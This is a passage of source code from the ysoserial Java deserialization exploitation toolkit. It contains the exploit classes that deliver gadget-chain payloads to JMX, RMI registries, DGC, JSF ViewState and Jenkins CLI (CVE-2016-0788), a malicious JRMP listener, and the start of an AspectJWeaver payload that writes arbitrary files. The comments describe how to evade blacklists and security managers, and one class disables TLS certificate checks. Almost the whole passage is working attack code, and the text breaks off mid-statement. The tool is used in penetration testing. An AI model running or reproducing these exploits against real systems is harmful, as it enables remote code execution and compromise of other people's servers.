System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS"); return; } catch ( Throwable e ) { String msg = e.getMessage(); if ( msg.startsWith("java.lang.ClassNotFoundException:") ) { int start = msg.indexOf('"'); int stop = msg.indexOf('"', start + 1); String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : ""; if ( !"".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) { int cstart = msg.indexOf(':'); int cend = msg.indexOf(' ', cstart + 2); String cls = msg.substring(cstart + 2, cend); System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")"); } } else { System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg); return; } } } } } private static final class ConsoleLogHandler extends Handler { @Override public void publish ( LogRecord record ) { System.err.println(record.getMessage()); } @Override public void flush () { } @Override public void close () throws SecurityException {} } @SuppressWarnings({"deprecation"}) private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { private ConnectionProviderContextImpl context; public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) { this.context = context; } public void remoteClosed () {} public OpenListener getServiceOpenListener ( String serviceType ) { return null; } public RegisteredService getRegisteredService ( String serviceType ) { return null; } public ConnectionProviderContext getConnectionProviderContext () { return this.context; } public Connection getConnection () { return null; } } private static final class ConnectionProviderContextImpl implements ConnectionProviderContext { private XnioWorker worker; private ExecutorService executor; private Xnio instance; private Endpoint endpoint; public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException { this.instance = Xnio.getInstance(); this.worker = this.instance.createWorker(opts); this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts); this.executor = Executors.newCachedThreadPool(new ThreadFactory() { public Thread newThread ( Runnable r ) { Thread t = new Thread(r, "Worker"); t.setDaemon(true); return t; } }); } public XnioWorker getXnioWorker () { return this.worker; } public Xnio getXnio () { return this.instance; } public Executor getExecutor () { return this.executor; } public Endpoint getEndpoint () { return this.endpoint; } public void accept ( ConnectionHandlerFactory connectionHandlerFactory ) { System.err.println("accept"); } } } ================================================ FILE: src/main/java/ysoserial/exploit/JMXInvokeMBean.java ================================================ package ysoserial.exploit; import javax.management.MBeanServerConnection; import javax.management.ObjectName; import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; import ysoserial.payloads.ObjectPayload.Utils; /* * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. * */ public class JMXInvokeMBean { public static void main(String[] args) throws Exception { if ( args.length < 4 ) { System.err.println(JMXInvokeMBean.class.getName() + " "); System.exit(-1); } JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); JMXConnector jmxConnector = JMXConnectorFactory.connect(url); MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); // create the payload Object payloadObject = Utils.makePayloadObject(args[2], args[3]); ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); //close the connection jmxConnector.close(); } } ================================================ FILE: src/main/java/ysoserial/exploit/JRMPClassLoadingListener.java ================================================ package ysoserial.exploit; import java.net.URL; /** * JRMP listener triggering RMI remote classloading * * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. * * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}. * * This only works if * - the remote end is running with a security manager * - java.rmi.server.useCodebaseOnly=false (default until 7u21) * - the remote has the proper permissions to remotely load the class (mostly URLPermission) * * and, of course, the payload class is then run under the security manager with a remote codebase * so either the policy needs to allow whatever you want to do in the payload or you need to combine * with a security manager bypass exploit (wouldn't be the first time). * * @author mbechler * */ public class JRMPClassLoadingListener { public static final void main ( final String[] args ) { if ( args.length < 3 ) { System.err.println(JRMPClassLoadingListener.class.getName() + " "); System.exit(-1); return; } try { int port = Integer.parseInt(args[ 0 ]); System.err.println("* Opening JRMP listener on " + port); JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); c.run(); } catch ( Exception e ) { System.err.println("Listener error"); e.printStackTrace(System.err); } } } ================================================ FILE: src/main/java/ysoserial/exploit/JRMPClient.java ================================================ package ysoserial.exploit; import java.io.DataOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.net.URLClassLoader; import java.net.UnknownHostException; import javax.net.SocketFactory; import sun.rmi.transport.TransportConstants; import ysoserial.payloads.ObjectPayload.Utils; /** * Generic JRMP client * * Pretty much the same thing as {@link RMIRegistryExploit} but * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) * - not deserializing anything (so you don't get yourself exploited ;)) * * @author mbechler * */ @SuppressWarnings ( { "restriction" } ) public class JRMPClient { public static final void main ( final String[] args ) { if ( args.length < 4 ) { System.err.println(JRMPClient.class.getName() + " "); System.exit(-1); } Object payloadObject = Utils.makePayloadObject(args[2], args[3]); String hostname = args[ 0 ]; int port = Integer.parseInt(args[ 1 ]); try { System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); makeDGCCall(hostname, port, payloadObject); } catch ( Exception e ) { e.printStackTrace(System.err); } Utils.releasePayload(args[2], payloadObject); } public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { InetSocketAddress isa = new InetSocketAddress(hostname, port); Socket s = null; DataOutputStream dos = null; try { s = SocketFactory.getDefault().createSocket(hostname, port); s.setKeepAlive(true); s.setTcpNoDelay(true); OutputStream os = s.getOutputStream(); dos = new DataOutputStream(os); dos.writeInt(TransportConstants.Magic); dos.writeShort(TransportConstants.Version); dos.writeByte(TransportConstants.SingleOpProtocol); dos.write(TransportConstants.Call); @SuppressWarnings ( "resource" ) final ObjectOutputStream objOut = new MarshalOutputStream(dos); objOut.writeLong(2); // DGC objOut.writeInt(0); objOut.writeLong(0); objOut.writeShort(0); objOut.writeInt(1); // dirty objOut.writeLong(-669196253586618813L); objOut.writeObject(payloadObject); os.flush(); } finally { if ( dos != null ) { dos.close(); } if ( s != null ) { s.close(); } } } static final class MarshalOutputStream extends ObjectOutputStream { private URL sendUrl; public MarshalOutputStream (OutputStream out, URL u) throws IOException { super(out); this.sendUrl = u; } MarshalOutputStream ( OutputStream out ) throws IOException { super(out); } @Override protected void annotateClass ( Class cl ) throws IOException { if ( this.sendUrl != null ) { writeObject(this.sendUrl.toString()); } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { writeObject(null); } else { URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); String cb = ""; for ( URL u : us ) { cb += u.toString(); } writeObject(cb); } } /** * Serializes a location from which to load the specified class. */ @Override protected void annotateProxyClass ( Class cl ) throws IOException { annotateClass(cl); } } } ================================================ FILE: src/main/java/ysoserial/exploit/JRMPListener.java ================================================ package ysoserial.exploit; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.ObjectStreamClass; import java.io.OutputStream; import java.io.Serializable; import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.rmi.MarshalException; import java.rmi.server.ObjID; import java.rmi.server.UID; import java.util.Arrays; import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import sun.rmi.transport.TransportConstants; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Reflections; /** * Generic JRMP listener * * Opens up an JRMP listener that will deliver the specified payload to any * client connecting to it and making a call. * * @author mbechler * */ @SuppressWarnings ( { "restriction" } ) public class JRMPListener implements Runnable { private int port; private Object payloadObject; private ServerSocket ss; private Object waitLock = new Object(); private boolean exit; private boolean hadConnection; private URL classpathUrl; public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { this.port = port; this.payloadObject = payloadObject; this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); } public JRMPListener (int port, String className, URL classpathUrl) throws IOException { this.port = port; this.payloadObject = makeDummyObject(className); this.classpathUrl = classpathUrl; this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); } public boolean waitFor ( int i ) { try { if ( this.hadConnection ) { return true; } System.err.println("Waiting for connection"); synchronized ( this.waitLock ) { this.waitLock.wait(i); } return this.hadConnection; } catch ( InterruptedException e ) { return false; } } /** * */ public void close () { this.exit = true; try { this.ss.close(); } catch ( IOException e ) {} synchronized ( this.waitLock ) { this.waitLock.notify(); } } public static final void main ( final String[] args ) { if ( args.length < 3 ) { System.err.println(JRMPListener.class.getName() + " "); System.exit(-1); return; } final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); try { int port = Integer.parseInt(args[ 0 ]); System.err.println("* Opening JRMP listener on " + port); JRMPListener c = new JRMPListener(port, payloadObject); c.run(); } catch ( Exception e ) { System.err.println("Listener error"); e.printStackTrace(System.err); } Utils.releasePayload(args[1], payloadObject); } public void run () { try { Socket s = null; try { while ( !this.exit && ( s = this.ss.accept() ) != null ) { try { s.setSoTimeout(5000); InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); System.err.println("Have connection from " + remote); InputStream is = s.getInputStream(); InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); // Read magic (or HTTP wrapper) bufIn.mark(4); DataInputStream in = new DataInputStream(bufIn); int magic = in.readInt(); short version = in.readShort(); if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { s.close(); continue; } OutputStream sockOut = s.getOutputStream(); BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); DataOutputStream out = new DataOutputStream(bufOut); byte protocol = in.readByte(); switch ( protocol ) { case TransportConstants.StreamProtocol: out.writeByte(TransportConstants.ProtocolAck); if ( remote.getHostName() != null ) { out.writeUTF(remote.getHostName()); } else { out.writeUTF(remote.getAddress().toString()); } out.writeInt(remote.getPort()); out.flush(); in.readUTF(); in.readInt(); case TransportConstants.SingleOpProtocol: doMessage(s, in, out, this.payloadObject); break; default: case TransportConstants.MultiplexProtocol: System.err.println("Unsupported protocol"); s.close(); continue; } bufOut.flush(); out.flush(); } catch ( InterruptedException e ) { return; } catch ( Exception e ) { e.printStackTrace(System.err); } finally { System.err.println("Closing connection"); s.close(); } } } finally { if ( s != null ) { s.close(); } if ( this.ss != null ) { this.ss.close(); } } } catch ( SocketException e ) { return; } catch ( Exception e ) { e.printStackTrace(System.err); } } private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { System.err.println("Reading message..."); int op = in.read(); switch ( op ) { case TransportConstants.Call: // service incoming RMI call doCall(in, out, payload); break; case TransportConstants.Ping: // send ack for ping out.writeByte(TransportConstants.PingAck); break; case TransportConstants.DGCAck: UID u = UID.read(in); break; default: throw new IOException("unknown transport op " + op); } s.close(); } private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { ObjectInputStream ois = new ObjectInputStream(in) { @Override protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) { return ObjID[].class; } else if ("java.rmi.server.ObjID".equals(desc.getName())) { return ObjID.class; } else if ( "java.rmi.server.UID".equals(desc.getName())) { return UID.class; } throw new IOException("Not allowed to read object"); } }; ObjID read; try { read = ObjID.read(ois); } catch ( java.io.IOException e ) { throw new MarshalException("unable to read objID", e); } if ( read.hashCode() == 2 ) { ois.readInt(); // method ois.readLong(); // hash System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); } System.err.println("Sending return with payload for obj " + read); out.writeByte(TransportConstants.Return);// transport op ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); oos.writeByte(TransportConstants.ExceptionalReturn); new UID().write(oos); BadAttributeValueExpException ex = new BadAttributeValueExpException(null); Reflections.setFieldValue(ex, "val", payload); oos.writeObject(ex); oos.flush(); out.flush(); this.hadConnection = true; synchronized ( this.waitLock ) { this.waitLock.notifyAll(); } } @SuppressWarnings({"deprecation"}) protected static Object makeDummyObject (String className) { try { ClassLoader isolation = new ClassLoader() {}; ClassPool cp = new ClassPool(); cp.insertClassPath(new ClassClassPath(Dummy.class)); CtClass clazz = cp.get(Dummy.class.getName()); clazz.setName(className); return clazz.toClass(isolation).newInstance(); } catch ( Exception e ) { e.printStackTrace(); return new byte[0]; } } public static class Dummy implements Serializable { private static final long serialVersionUID = 1L; } } ================================================ FILE: src/main/java/ysoserial/exploit/JSF.java ================================================ package ysoserial.exploit; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import org.apache.commons.codec.binary.Base64; import ysoserial.payloads.ObjectPayload.Utils; /** * JSF view state exploit * * Delivers a gadget payload via JSF ViewState token. * * This will only work if ViewState encryption/mac is disabled. * * While it has been long known that client side state saving * with encryption disabled leads to RCE via EL injection, * this of course also works with deserialization gadgets. * * Also, it turns out that MyFaces is vulnerable to this even when * using server-side state saving * (yes, please, let's (de-)serialize a String as an Object). * * @author mbechler * */ public class JSF { public static void main ( String[] args ) { if ( args.length < 3 ) { System.err.println(JSF.class.getName() + " "); System.exit(-1); } final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); try { URL u = new URL(args[ 0 ]); URLConnection c = u.openConnection(); if ( ! ( c instanceof HttpURLConnection ) ) { throw new IllegalArgumentException("Not a HTTP url"); } HttpURLConnection hc = (HttpURLConnection) c; hc.setDoOutput(true); hc.setRequestMethod("POST"); hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); OutputStream os = hc.getOutputStream(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(payloadObject); oos.close(); byte[] data = bos.toByteArray(); String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); os.write(requestBody.getBytes("US-ASCII")); os.close(); System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); } catch ( Exception e ) { e.printStackTrace(System.err); } Utils.releasePayload(args[1], payloadObject); } } ================================================ FILE: src/main/java/ysoserial/exploit/JenkinsCLI.java ================================================ package ysoserial.exploit; import java.io.DataOutputStream; import java.io.IOException; import java.io.OutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.InetSocketAddress; import java.net.MalformedURLException; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.net.URLConnection; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.ThreadFactory; import javax.net.SocketFactory; import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; import hudson.remoting.ChannelBuilder; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Reflections; /** * Jenkins CLI client * * Jenkins unfortunately is still using a custom serialization based * protocol for remote communications only protected by a blacklisting * application level filter. * * This is a generic client delivering a gadget chain payload via that protocol. * * @author mbechler * */ public class JenkinsCLI { public static final void main ( final String[] args ) { if ( args.length < 3 ) { System.err.println(JenkinsCLI.class.getName() + " "); System.exit(-1); } final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); String jenkinsUrl = args[ 0 ]; Channel c = null; try { InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); c = JenkinsCLI.openChannel(isa); c.call(getPropertyCallable(payloadObject)); } catch ( Throwable e ) { e.printStackTrace(); } finally { if ( c != null ) { try { c.close(); } catch ( IOException e ) { e.printStackTrace(System.err); } } } Utils.releasePayload(args[1], payloadObject); } public static Callable getPropertyCallable ( final Object prop ) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); Reflections.setAccessible(reqCons); Object getJarLoader = reqCons .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { prop }); return (Callable) getJarLoader; } public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { URL u = new URL(jenkinsUrl); URLConnection conn = u.openConnection(); if ( ! ( conn instanceof HttpURLConnection ) ) { System.err.println("Not a HTTP URL"); throw new MalformedURLException(); } HttpURLConnection hc = (HttpURLConnection) conn; if ( hc.getResponseCode() >= 400 ) { System.err.println("* Error connection to jenkins HTTP " + u); } int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); return new InetSocketAddress(u.getHost(), clip); } public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException { System.err.println("* Opening socket " + isa); Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); s.setKeepAlive(true); s.setTcpNoDelay(true); System.err.println("* Opening channel"); OutputStream outputStream = s.getOutputStream(); DataOutputStream dos = new DataOutputStream(outputStream); dos.writeUTF("Protocol:CLI-connect"); ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { public Thread newThread ( Runnable r ) { Thread t = new Thread(r, "Channel"); t.setDaemon(true); return t; } }); Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); System.err.println("* Channel open"); return c; } } ================================================ FILE: src/main/java/ysoserial/exploit/JenkinsListener.java ================================================ package ysoserial.exploit; import java.io.DataOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.net.InetSocketAddress; import java.net.Socket; import java.rmi.activation.ActivationDesc; import java.rmi.activation.ActivationID; import java.rmi.activation.ActivationInstantiator; import javax.net.SocketFactory; import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.JarLoader; import sun.rmi.server.Util; import sun.rmi.transport.TransportConstants; import ysoserial.payloads.JRMPListener; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Reflections; /** * CVE-2016-0788 exploit (1) * * 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol. * 2. that payload causes the remote server to open up an JRMP listener (and export an object). * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. * * Extra twist: * The well-known objects exported by the listener use the system classloader which usually * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id * (which is using jenkins' classloader) that typically is properly randomized. * Fortunately - for the exploiting party - there is also a gadget that allows to leak * that identifier via an exception. * * @author mbechler */ @SuppressWarnings ( { "rawtypes", "restriction" } ) public class JenkinsListener { public static final void main ( final String[] args ) { if ( args.length < 3 ) { System.err.println(JenkinsListener.class.getName() + " "); System.exit(-1); } final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { System.err.println("Invalid payload type '" + args[ 1 ] + "'"); System.exit(-1); } String jenkinsUrl = args[ 0 ]; int jrmpPort = 12345; Channel c = null; try { InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); c = JenkinsCLI.openChannel(isa); Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); InvocationHandler remote = Proxy.getInvocationHandler(call); int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); System.err.println("* JarLoader oid is " + oid); Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); try { c.call((Callable) o); } catch ( Exception e ) { // [ActivationGroupImpl[UnicastServerRef [liveRef: // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, // -9046794842107247609]] System.err.println(e.getMessage()); parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e); } } catch ( Throwable e ) { e.printStackTrace(); } finally { if ( c != null ) { try { c.close(); } catch ( IOException e ) { e.printStackTrace(System.err); } } } } private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class reqClass ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); Reflections.setAccessible(reqCons); return reqCons .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] { uro, }); } private static void parseObjIdAndExploit ( final String[] args, final Class payloadClass, int jrmpPort, InetSocketAddress isa, Exception e ) throws Exception, IOException { String msg = e.getMessage(); int start = msg.indexOf("objID:["); if ( start < 0 ) { throw new Exception("Failed to get object id"); } int sep = msg.indexOf(", ", start + 1); if ( sep < 0 ) { throw new Exception("Failed to get object id, separator"); } int end = msg.indexOf("]", sep + 1); if ( end < 0 ) { throw new Exception("Failed to get object id, separator"); } String uid = msg.substring(start + 7, sep); String objNum = msg.substring(sep + 2, end); System.err.println("* UID is " + uid); System.err.println("* ObjNum is " + objNum); String[] parts = uid.split(":"); long obj = Long.parseLong(objNum); int o1 = Integer.parseInt(parts[ 0 ], 16); long o2 = Long.parseLong(parts[ 1 ], 16); short o3 = Short.parseShort(parts[ 2 ], 16); exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]); } private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class payloadClass, String payloadArg ) throws IOException { Socket s = null; DataOutputStream dos = null; try { System.err.println("* Opening JRMP socket " + isa); s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); s.setKeepAlive(true); s.setTcpNoDelay(true); OutputStream os = s.getOutputStream(); dos = new DataOutputStream(os); dos.writeInt(TransportConstants.Magic); dos.writeShort(TransportConstants.Version); dos.writeByte(TransportConstants.SingleOpProtocol); dos.write(TransportConstants.Call); @SuppressWarnings ( "resource" ) final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); objOut.writeLong(obj); objOut.writeInt(o1); objOut.writeLong(o2); objOut.writeShort(o3); objOut.writeInt(-1); objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance(); final Object object = payload.getObject(payloadArg); objOut.writeObject(object); os.flush(); ObjectPayload.Utils.releasePayload(payload, object); } catch ( Exception e ) { e.printStackTrace(System.err); } finally { if ( dos != null ) { dos.close(); } if ( s != null ) { s.close(); } } } } ================================================ FILE: src/main/java/ysoserial/exploit/JenkinsReverse.java ================================================ package ysoserial.exploit; import java.io.IOException; import java.net.InetSocketAddress; import java.rmi.registry.Registry; import java.util.Random; import hudson.remoting.Channel; import ysoserial.exploit.JRMPListener; import ysoserial.payloads.JRMPClient; import ysoserial.payloads.ObjectPayload.Utils; /** * CVE-2016-0788 exploit (2) * * - Sets up a local {@link JRMPListener} * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol * that will cause the remote to open a JRMP connection to our listener * - upon connection the specified payload will be delivered to the remote * (that will deserialize using a default ObjectInputStream) * * @author mbechler * */ public class JenkinsReverse { public static final void main ( final String[] args ) { if ( args.length < 4 ) { System.err.println(JenkinsListener.class.getName() + " "); System.exit(-1); } final Object payloadObject = Utils.makePayloadObject(args[2], args[3]); String myAddr = args[ 1 ]; int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; String jenkinsUrl = args[ 0 ]; Thread t = null; Channel c = null; try { InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); c = JenkinsCLI.openChannel(isa); JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); t = new Thread(listener, "ReverseDGC"); t.setDaemon(true); t.start(); Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort); c.call(JenkinsCLI.getPropertyCallable(payload)); listener.waitFor(1000); listener.close(); } catch ( Throwable e ) { e.printStackTrace(); } finally { if ( c != null ) { try { c.close(); } catch ( IOException e ) { e.printStackTrace(System.err); } } if ( t != null ) { t.interrupt(); try { t.join(); } catch ( InterruptedException e ) { e.printStackTrace(System.err); } } } Utils.releasePayload(args[2], payloadObject); } } ================================================ FILE: src/main/java/ysoserial/exploit/RMIRegistryExploit.java ================================================ package ysoserial.exploit; import java.io.IOException; import java.net.Socket; import java.rmi.ConnectIOException; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.RMIClientSocketFactory; import java.security.cert.X509Certificate; import java.util.concurrent.Callable; import javax.net.ssl.*; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Gadgets; import ysoserial.secmgr.ExecCheckingSecurityManager; /* * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. * * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . */ @SuppressWarnings({"rawtypes", "unchecked"}) public class RMIRegistryExploit { private static class TrustAllSSL implements X509TrustManager { private static final X509Certificate[] ANY_CA = {}; public X509Certificate[] getAcceptedIssuers() { return ANY_CA; } public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } } private static class RMISSLClientSocketFactory implements RMIClientSocketFactory { public Socket createSocket(String host, int port) throws IOException { try { SSLContext ctx = SSLContext.getInstance("TLS"); ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null); SSLSocketFactory factory = ctx.getSocketFactory(); return factory.createSocket(host, port); } catch(Exception e) { throw new IOException(e); } } } public static void main(final String[] args) throws Exception { final String host = args[0]; final int port = Integer.parseInt(args[1]); final String command = args[3]; Registry registry = LocateRegistry.getRegistry(host, port); final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; final Class payloadClass = (Class) Class.forName(className); // test RMI registry connection and upgrade to SSL connection on fail try { registry.list(); } catch(ConnectIOException ex) { registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory()); } // ensure payload doesn't detonate during construction or deserialization exploit(registry, payloadClass, command); } public static void exploit(final Registry registry, final Class payloadClass, final String command) throws Exception { new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception { ObjectPayload payloadObj = payloadClass.newInstance(); Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); try { registry.bind(name, remote); } catch (Throwable e) { e.printStackTrace(); } Utils.releasePayload(payloadObj, payload); return null; }}); } } ================================================ FILE: src/main/java/ysoserial/payloads/AspectJWeaver.java ================================================ package ysoserial.payloads; import org.apache.commons.codec.binary.Base64; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.io.Serializable; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; /* Gadget chain: HashSet.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write() Usage: args = ";" Example: java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ==" More information: https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 */ @PayloadTest(skip="non RCE") @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) @Authors({ Authors.JANG }) public class AspectJWeaver implements ObjectPayload { public Serializable getObject(final String command) throws Exception { int sep = command.lastIndexOf(';'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: :"); } String[] parts = command.split(";"); String filename = parts[0]; byte[] content = Base64.decodeBase64(parts[1]); Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); Transformer ct = new ConstantTransformer(content); Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = 